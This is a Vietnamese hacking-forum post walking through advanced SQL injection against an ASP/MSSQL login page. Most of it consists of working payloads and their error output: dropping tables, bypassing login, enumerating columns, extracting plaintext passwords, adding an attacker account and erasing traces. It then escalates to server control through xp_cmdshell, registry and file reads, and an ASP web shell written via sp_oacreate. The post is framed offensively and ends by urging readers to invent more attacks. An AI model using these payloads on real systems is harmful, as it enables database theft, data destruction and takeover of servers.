HACKIS - Hacking Internet Security
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
Hack Sql Inject nâng cao EmptyThu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
Hack Sql Inject nâng cao EmptyThu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
Hack Sql Inject nâng cao EmptyMon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
Hack Sql Inject nâng cao EmptyTue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
Hack Sql Inject nâng cao EmptyTue Apr 17, 2012 10:03 pm by Admin

» Giá của món quà
Hack Sql Inject nâng cao EmptyFri Apr 13, 2012 6:01 am by Admin

» Sẽ chỉ yêu ai?
Hack Sql Inject nâng cao EmptyFri Apr 13, 2012 6:01 am by Admin

» Cách đọc bảng chữ cái!
Hack Sql Inject nâng cao EmptyThu Apr 12, 2012 10:37 pm by Admin

» Gắn trojan, keylog, virus vào website, forum
Hack Sql Inject nâng cao EmptyTue Apr 10, 2012 1:14 am by Admin

Affiliates
free forum


Hack Sql Inject nâng cao

Go down

Hack Sql Inject nâng cao Empty Hack Sql Inject nâng cao

Post  Admin Tue Dec 28, 2010 9:02 am

Các bạn thử xem một câu truy vấn SQL:

select id, forename, surname from authors

thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã các dòng trong table author.Xem câu truy vấn sau:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl với forename = 'john' and surname = 'smith'

Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu:

Forename: jo'hn

Surname: smith

Câu truy vấn trở thành:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi:

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.

Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này attacker có thể xoá dữ liệu của bạn như sau:

Forename: jo'; drop table authors--

Table author sẽ bị xóa>nguy hiểm phải không

Nhìn vào đoạn code asp sau:đây là một form login

<HTML>

<HEAD>

<TITLE>Login Page</TITLE>

</HEAD>

<BODY bgcolor='000000' text='cccccc'>

<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

<TABLE>

<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%

Page 4

width=100></INPUT></TD></TR>

<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%

width=100></INPUT></TD></TR>

</TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM>

</FONT>

</BODY>

</HTML>

Đây là code 'process_login.asp'

<HTML>

<BODY bgcolor='000000' text='ffffff'>

<FONT Face='tahoma' color='ffffff'>

<STYLE>

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )

{

if( Request.form("debug") == "true" )

Response.write( str );

}

function Login( cn )

{

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF)

{

rso.close();

%>

<FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>

<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

}

else

{

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

Welcome,

<% Response.write(rso("Username"));

Response.write( "</BODY></HTML>" );

Response.end

}

}

function Main()

{

//Set up connection

var username

var cn = Server.createobject( "ADODB.Connection" );

cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

username = new String( Request.form("username") );

if( username.length > 0)

{

Login( cn );

}

cn.close();

}

Main();

%>

Đây là câu truy vấn SQL:

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

nếu hacker vào như sau:

Username: '; drop table users--

Password:

thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi không nói lại nữa

Ơ trường username hacker có thể vào như sau:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

ví dụ table user được tạo như sau:

create table users( id int,

username varchar(255),

password varchar(255),

privs int

)

và insert vào:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )

insert into users values( 0, 'guest', 'guest', 0x0000 )

insert into users values( 0, 'chris', 'password', 0x00ff )

insert into users values( 0, 'fred', 'sesame', 0x00ff )

Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1

Username: ' having 1=1--

Lổi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

/process_login.asp, line 35

Tiếp tục lấy các cái còn lại:

Username: ' group by users.id having 1=1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'

is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

/process_login.asp, line 35

>> biết được column 'username'

' group by users.id, users.username, users.password, users.privs having 1=1--

Cho đến khi không còn báo lổi thì dừng lại

vậy là bạn đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó:

Để xác định nội dung của column ta dùng hàm sum()

Username: ' union select sum(username) from users--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với id thì sao nhỉ:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.

/process_login.asp, line 35

Vậy là ta có thể insert vào csdl:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

Lấy Version của server:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug

6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise

Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of

data type int.

/process_login.asp, line 35

có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau:

Username: ' union select min(username),1,1,1 from users where username > 'a'--

Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao:

Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Vậy là khi có username > lấy pass:

Username: ' union select password,1,1,1 from users where username ='admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp:

Tạo một script như sau:

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

end

>cau truy vấn:

Username: '; begin declare @ret varchar(8000) set @ret=':' select

@ret=@ret+' '+username+'/'+password from users where username>@ret

select @ret as ret into foo end--

Tạo một table 'foo' với một column là 'ret'

Tiếp tục:

Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value ': admin/r00tr0x! guest/guest chris/password

fred/sesame' to a column of data type int.

/process_login.asp, line 35

(Hình như mrro dùng kiểu này vào VDC)

Xoá dấu vết:

Username: '; drop table foo--

Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn,một trong số cách đó:

1-Sữ dụng xp_cmdshell khi đã có quyền 'sa'

2-Sữ dụng xp_regread để đọc register,bao gồm SAM

3-Chạy link query trên server

4-Tạo script trên server để khai thác

5-Sữ dung 'bulk insert' để đọc bất cứ file nào trên hệ thống

6-Sữ dụng bcp để tạo quền cho text file trên server

7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server

[xp_cmdshell]

Chắc các bạn cũng nghe nhiều rồi ví dụ:

exec master..xp_cmdshell 'dir'

exec master..xp_cmdshell 'net1 user'

Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu

[xp_regread]

Các hàm liên quan...

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

Ví dụ:

exec xp_regread HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'

Xác đinh null-session share có tồn tại trên server

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

v... còn nhiều thứ nữa

[Other Extended Stored Procedures]

services:

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

>ngó qua cũng biết nó làm gì...

[Importing text files into tables]

Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn:

create table foo( line varchar(8000) )

tiếp tục:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

[Creating Text Files using BCP]

VD:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

[ActiveX automation scripts in SQL Server]

Dùng 'wscript.shell'

vd:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Tren câu truy vấn:

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

Dùng 'scripting.filesystemobject' để đọc file:

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

Tạo script ASP để thi hành command:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run(

request.querystring("cmd") ) %>'

Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này.
Admin
Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

https://hackis.forumvi.com

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum